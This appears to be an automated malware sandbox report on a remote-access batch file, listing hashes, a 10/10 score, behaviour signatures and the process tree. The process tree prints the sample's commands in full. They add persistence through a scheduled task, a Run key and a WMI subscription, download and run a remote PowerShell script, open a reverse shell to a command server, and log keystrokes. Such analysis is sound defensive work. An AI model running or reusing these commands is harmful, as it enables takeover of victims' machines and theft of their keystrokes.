Analysis

  • max time kernel
    149s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    29/05/2026, 01:38

General

  • Target
    rat_build_173279_014453.bat
  • Size 5KB
  • Sample260529-b2e6aag16x
  • SHA256 766fb20a36a3a7b438b262b22ce4e3d92f1dd848eca9a81babc00b02706021fb
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • ps1.dropper

    http://payload.server/update_173279.ps1

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Gathers network information 2 TTPs 1 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Modifies registry key 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_173279_014453.bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4972
    • C:\Windows\system32\schtasks.exe
      schtasks /create /tn "WinUpdate_173279" /tr "C:\Users\Admin\AppData\Local\Temp\_173279.bat" /sc onlogon /ru "SYSTEM" /f
      2⤵
      • Scheduled Task/Job: Scheduled Task
      PID:4168
    • C:\Windows\system32\reg.exe
      reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_173279" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_173279.bat" /f
      2⤵
      • Adds Run key to start application
      • Modifies registry key
      PID:3524
    • C:\Windows\System32\Wbem\WMIC.exe
      wmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_173279", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2356
    • C:\Windows\System32\Wbem\WMIC.exe
      wmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_173279", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_173279.bat"
      2⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:3344
    • C:\Windows\system32\curl.exe
      curl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_173279.txt
      2⤵
        PID:412
      • C:\Windows\system32\systeminfo.exe
        systeminfo
        2⤵
        • Gathers system information
        PID:4212
      • C:\Windows\system32\NETSTAT.EXE
        netstat -an
        2⤵
        • Gathers network information
        PID:2304
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_173279.ps1'))"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1688
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:3348
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"
        2⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:4088

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          powershell.exe.log

          • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
          • Size 2KB
          • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 9d7cb86841f5c5c19be6e0471ea9eb6ec81df1f1e49fa16704562111fb04c633
          • MD5 SHA1 SHA512 TLSH

          StartupProfileData-NonInteractive

          • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
          • Size 1KB
          • SHA256 479e30aab9aea527f35a883f9d2564454c5da1b0b512e00442931eee6dd7b4a0
          • MD5 SHA1 SHA512 TLSH

          __PSScriptPolicyTest_jw0qrm24.vng.ps1

          • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_jw0qrm24.vng.ps1
          • Size 60B
          • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
          • MD5 SHA1 SHA512 TLSH

          memory/1688-5-0x00000242AF250000-0x00000242AF272000-memory.dmp

          memory/1688-14-0x00000242AF5A0000-0x00000242AF6EE000-memory.dmp

          memory/1688-13-0x00000242AF280000-0x00000242AF49C000-memory.dmp

          memory/3348-25-0x000002467AF30000-0x000002467B07E000-memory.dmp

          memory/4088-35-0x000001AAA3180000-0x000001AAA32CE000-memory.dmp